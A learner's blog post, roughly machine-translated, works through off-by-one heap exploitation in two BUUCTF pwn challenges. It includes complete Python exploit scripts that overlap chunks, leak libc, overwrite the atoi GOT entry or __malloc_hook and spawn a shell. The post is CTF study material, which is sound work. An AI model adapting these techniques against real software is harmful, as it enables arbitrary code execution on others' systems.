Technology Sharing

About off-by-one learning

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

My pwn skills are still very shallow, I am just recording some of my learning experiences.
As the study progresses, more knowledge points and questions will be added.

Knowledge Points

Excellent learning materials

Study summary on off by null | ZIKH26

Chunk Extend and Overlapping | ctfwiki

A little understanding

Closely related to off-by-one is the Chunk Extend and Overlapping mentioned above.
This is often referred to as "overlapping blocks."
Why create overlapping blocks?
For example, if we want to rewrite the header fields of a chunk, that is, the prev_size and size segments, we cannot change them by directly applying.
One approach is to construct a misaligned fake chunk. Another simpler approach is to create overlapping chunks and modify the size bit so that the user data portion of a large chunk includes the header portion of the small chunk we want to modify.

example

[buu] hitcontraining_heapcreator

topic

I think this question is a good example of how to use off-by-one. The question is not difficult and the use point is quite clever.

Decompile to find vulnerabilities.
image
There is an artificial off-by-one here, and one more byte can be written here.

Back to the distribution of the topic,image
First, a chunk of size 0x10 is allocated to store some information, and then a chunk is allocated for content.
Here gdb debugging is very clear

For example, the heap layout after I add(0x28,'0'), add(0x10,'1')
image

You can see that each time we add, we first malloc a chunk to store the heap block information at a low address, and then malloc a chunk to store the content.

Then notice that operations such as edit and show are all done throughHeap block informationThe structure is used to "index" the heap block information. If we want to leak libc, we can use the chunk of heap block information *content The field is changed to the address of a function's got table. For example, this question uses atoi, so atoi_addr will be printed during show.

This involves a similar situation to the previous "a little understanding". We cannot directly modify the content of the chunk that "stores the heap block information", so we can use off-by-one to extend the heap block in a clever way.

For example, if we modify it like this, it can actually cause the expansion and overlap of the heap
image

Let's talk about the specific use below.

  1. First we need to modify a "storage heap information" heapsizepart.
    This can be achieved through an off-by-one vulnerability in the content block above the information block.
  2. Then we free the index of the chunk corresponding to this information heap block
  3. At this time, according to the implementation of delete_heap
    image

Both the information block and the content block will be freed, so at this time there are two bins of size 0x20 and 0x40 in fastbins

image

  1. At this time, we add a chunk of 0x30, and the fastbin of 0x40 will be applied as the content stack block, and an information stack block of 0x20 will be applied, so the bin of 0x20 will also be applied back.

image

  1. The key point of this question isInformation BlocksThe size and content of the corresponding chunk are determined! Therefore, in the previous step add(0x30) can overwrite the content of the corresponding information heap block. In this way, the content can be changed to the got table of atoi, and show(1) can leak libc.
  2. Since the content address of chunk1 has been changed, edit(1) can change the content of atoi's got table to system, and then send a "/bin/shx00" to getshell.

Of course, there are some details, such as the size selection of 0x18, 0x28 mentioned at the end, and the modification of the information heap block content is reservedsizeField (otherwise the final edit will not have the length for you to write) and so on.

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

There is actually another key point in this question, which is also the point that confused me at the beginning. The initial chunk0 add of ZIKH's EXP is 0x18. I changed it to 0x10, 0x20 in practice, but it didn't work when I changed it to 0x28.
Debugging found that when changing to 0x10, 0x20, our userdata will not enable the next chunkprev_sizeof.
image

When allocating 0x18, 0x28, the ptmalloc2 mechanism will reuse the prev_size segment of next_chunk
image

Emmm, in fact, in the final analysis, it is because I am not familiar enough with the heap. After all, if I only read the explanation on wiki, there are so many knowledge points and the details are also complicated, it is difficult to remember. Of course, I have encountered it in actual combat, and it is much better after debugging and reading it myself and understanding it.

[buu] roarctf_2019_easy_pwn

topic

The loophole in the question is here.image

When a2-a1==10 in the if statement, that is, when the size input by edit is exactly 10 larger than the size input by add, there is an off-by-one.

Rough distribution structure
image

Still use the bss segment to store the chunk inuse and*content

We can still use off-by-one and 0x?8 size to reuse prev_size to forge prev_size and size to trigger forward (low address) merging
image

At this point, you can see the trigger merge by free(2) again.
image

At this time, we add(0x80) and then show(1), and we can actually print out the value of main_arena+88.
image

My understanding is that add(0x80) here splits the unsortedbin, so that the fd pointer (main_arena+88) is moved to the displayable chunk1 segment.

At this point, the base address of libc is leaked
The following operations feel like they involve a lot of overlapping heap blocks, so let’s take a look at the step-by-step debugging.
Heap layout when leaking libc
image

add(0x68)
image
(Cut a piece from unsortedbin)

free(1)
(fastbin 0x70)
image

edit(2,p64(malloc_hook-0x23))
(Here we use the fact that chunk2 of 0x68 requested in the previous step overlaps with chunk1 just freed (chunk1 was requested at the beginning))
image

add(0x68)
(apply back to chunk1, actually chunk2)
image

add(0x68)
(Apply back to fake_chunk at malloc_hook-0x23)
image

Then you need to use realloc to adjust the stack frame, and then you can getshell.

Then the local call can be connected, but the remote call cannot be connected.
I looked at Master ZIKH's Exp and found that I need to put the local
realloc = libcbase + libc.sym['realloc']Change torealloc = libcbase + 0x846c0
Then you have to change the value of one_gadget
image

For example, these two one_gadgets have an offset. I don’t know why yet. Maybe it’s related to adjusting the stack frame? (I’ll learn about it later)

Open local Exp:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

local:
image

Remotely:
image


To sum up, it’s difficult.